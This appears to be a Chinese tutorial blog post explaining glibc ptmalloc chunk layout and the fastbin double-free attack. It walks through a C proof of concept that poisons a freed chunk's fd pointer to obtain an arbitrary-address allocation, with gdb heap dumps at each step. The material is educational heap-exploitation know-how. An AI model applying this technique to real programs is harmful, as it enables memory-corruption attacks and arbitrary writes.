ptmalloc

ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割、回收等操作。在32位系统下,chunk头的大小为8 Bytes,且每个chunk的大小也是8 Bytes的整数倍。

chunk头包括以下两部分:

prev_size: 如果当前chunk的相邻前一chunk未被使用,prev_size为此前一chunk的大小
size: 当前chunk的大小。由于chunk大小是8的整数倍,所以此size的后3 bit被用于存储其他信息。我们需要记住的便是最低bit,即图中P的位置,用于指示前一chunk是否已被使用(PREV_INUSE)。

如果当前chunk处于未被使用状态,则mem前8 bytes被用来存储其他信息,具体如下:

fd: 下一个未被使用的chunk的地址
bk: 上一个未被使用的chunk的地址

 chunk结构

struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
}; typedef struct malloc_chunk* mchunkptr;

Allocated chunk:

在图中,chunk 指针指向一个 chunk 的开始,一个 chunk 中包含了用户请求的内存区域和相关的控制信息。
图中的 mem 指针才是真正返回给用户的内存指针。
chunk 的第二个域的最低一位为 P,它表示前一个块是否在使用中,P 为 0 则表示前一个 chunk 为空闲(并非指链表中的前一个堆块,而是连续内存中的前一块内存),这时 chunk 的第一个域 prev_size 才有效,prev_size 表示前一个 chunk 的 size,程序可以使用这个值来找到前一个 chunk 的开始地址。
当 P 为 1 时,表示前一个 chunk 正在使用中,prev_size无效,程序也就不可以得到前一个 chunk 的大小。不能对前一个 chunk 进行任何操作。ptmalloc 分配的第一个块总是将 P 设为 1,以防止程序引用到不存在的区域。
Chunk的第二个域的倒数第二个位为M,他表示当前chunk是从哪个内存区域获得的虚拟内存。M 为 1 表示该 chunk 是从 mmap 映射区域分配的,否则是从 heap 区域分配的。
Chunk 的第二个域倒数第三个位为 A,表示该 chunk 属于主分配区或者非主分配区,如果属于非主分配区,将该位置为 1,否则置为 0。

对于32位机,8字节对齐,对于64位机,16字节对齐

32位机中,一个使用中的 chunk 的大小的计算公式应该是: in_use_size = (用户请求大小+ 8 - 4 ) align to 8B,这里加 8 是因为需要存储 prev_size 和 size, 但又因为向下一个 chunk“借”了 4B,所以要减去 4。

Chunk可分为4类:1)allocated chunk;2)free chunk; 3)top chunk; 4)Last remainder chunk。

从本质上来说,所有类型的chunk都是内存中一块连续的区域,只是通过该区域中特定位置的某些标识符加以区分。allocated chunk表示已经分配给用户使用的chunk;free chunk表示未使用的chunk。

Fastbin Attack

glibc通过fastbin来管理⻓度较小的堆块。fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

fastbin特点:

• 单链表结构

• 遵循LIFO(Last In First Out)的分配策略

• 每次加⼊入新的堆块时会检查
该堆块是否为链表头节点

fastbin攻击原理

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

1. Double Free

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆的效果。Fastbin Double Free 能够成功利用主要有两部分的原因:一是fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空;二是fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10); free(chunk1);
free(chunk2);
free(chunk1);
return ;
}

因为chunk1 被再次释放其 fd 值不再为0而是指向chunk2,如果控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。

示例代码:

#include <stdio.h>
#include <stdlib.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b; bss_chunk.size=0x21; //注意,在malloc时会检查chunk的size,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。
chunk1=malloc(0x10);
chunk2=malloc(0x10); free(chunk1);
free(chunk2);
free(chunk1); chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return ;
}

当程序执行到free(chunk2)后,ptmalloc是管理fastbin的方法:

gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时chunk2的fd指向chunk1,而chunk1的fd为空,fastbin链表为main_arena=>chunk2=>chunk1。再次执行free(chunk1)后

gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1
0x602010: 0x0000000000602020 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时chunk2的fd指向chunk1,而chunk1的fd指向chunk2,fastbin链表为main_arena=>chunk1=>chunk2=>chunk1。

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},

此时申请chunk_a,fastbin链表为main_arena=>chunk2=>chunk_a=>chunk2。并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x602040,
0x602000:    0x0000000000000000    0x0000000000000021   ————————>chunk_a
0x602010: 0x0000000000602000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, gdb-peda$ x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
0x602050: 0x0000000000000000 0x0000000000000000

chunk1 的 fd 指针指向 bss 段上的 bss_chunk,fastbin链表为main_arena=>chunk2=>chunk_a=>malloc_hook(bss_chunk)。

申请一个new chunk 2:

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x602040,
gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk_a
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时new chunk2被申请后,fastbin链表为main_arena=>chunk_a=>bss_chunk。

再申请一个new chunk 3(new chunk 3是和chunk_a重合的)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x601080 <bss_chunk>, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时new chunk 3与chunk_a重合,fastbin链表为main_arena=>bss_chunk已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。

gdb-peda$ c
Continuing.
0x601090[Inferior (process ) exited normally]
Warning: not running
gdb-peda$ x/20xg 0x601080
0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000000
0x601090 <bss_chunk+>: 0x0000000000000000 0x0000000000000000
0x6010a0: Cannot access memory at address 0x6010a0

参考

图解fastbin:https://blog.csdn.net/Breeze_CAT/article/details/103788698

ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/

fastbin attack:https://www.cnblogs.com/countfatcode/p/11829124.html

最新文章

  1. tesseract api C++使用例子
  2. [转] - QPixmap全局变量载入多张图片失效问题
  3. git push错误解决方案
  4. php 深入理解addslashes函数
  5. Android开发之定义接口暴露数据
  6. Objective-C ,ios,iphone开发基础:JSON解析(使用苹果官方提供的JSON库:NSJSONSerialization)
  7. wap手机端解决返回上一页,js
  8. poj1111 DFS
  9. 使用 Windows Media Center 远程控制
  10. UNIX高级环境编程1
  11. Unknown entity: org.jbpm.services.task.audit.TaskEventImpl
  12. SpringBoot上传文件到本服务器 目录与jar包同级
  13. with(window) onload=onresize=function(){} 写法
  14. 【blog】MarkDown语法解析为HTML工具
  15. [asp.net core]The requested page cannot be accessed because the related configuration data for the page is invalid.
  16. string与stringBuffer区别
  17. vuex的module的简单实用方法
  18. 常用linux命令行
  19. STM32使用FatFs
  20. bzoj 2815 灭绝树

热门文章

  1. 卷积神经网络 part2
  2. LeetCode198 House Robber(打家劫舍)
  3. python基本数据类型(二)
  4. Jmeter 常用函数(15)- 详解 __StringFromFile
  5. 按钮改变和控制div的形状的html,JavaScript代码
  6. MySQL必知必会》正则表达式
  7. 算法-图(3)用顶点表示活动的网络(AOV网络)Activity On Vertex NetWork
  8. python 向excel 插入图片
  9. Datanode 怎么与 Namenode 通信?
  10. Ajax、XMLHttpRequest、JSONP的区别